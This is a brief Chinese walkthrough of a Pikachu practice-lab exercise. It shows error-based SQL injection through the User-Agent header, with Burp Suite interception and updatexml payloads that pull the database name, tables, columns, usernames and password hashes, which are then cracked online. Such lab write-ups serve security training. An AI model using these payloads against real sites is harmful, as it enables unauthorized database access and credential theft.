1.用提示的账号登录,显示了一些http头的内容,在退出的时候用burpsuite拦截

2.现在Host处用单引号检查闭合,send后没有显示sql语法问题

尝试在User-Agent处用单引号检查闭合,send后有语法错误的回显信息

3.查询当前数据库名称:' or updatexml(1,concat(0x7e,database()),0) or '

查表名:' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 1,1),0x7e),1) or '(这个时候需要删除掉前面User-Agent本来的内容,否则会报错)

改limit后面的第一个数字,不断查1,2,3......

查列名:' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 1,1),0x7e),1) or '

查用户名和密码:' or updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) or '

' or updatexml(1,concat(0x7e,substring((select password from users limit 0,1),1,32),0x7e),1) or '

' or updatexml(1,concat(0x7e,substring((select password from users limit 0,1),30,3),0x7e),1) or '

之后找在线工具破解即可

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐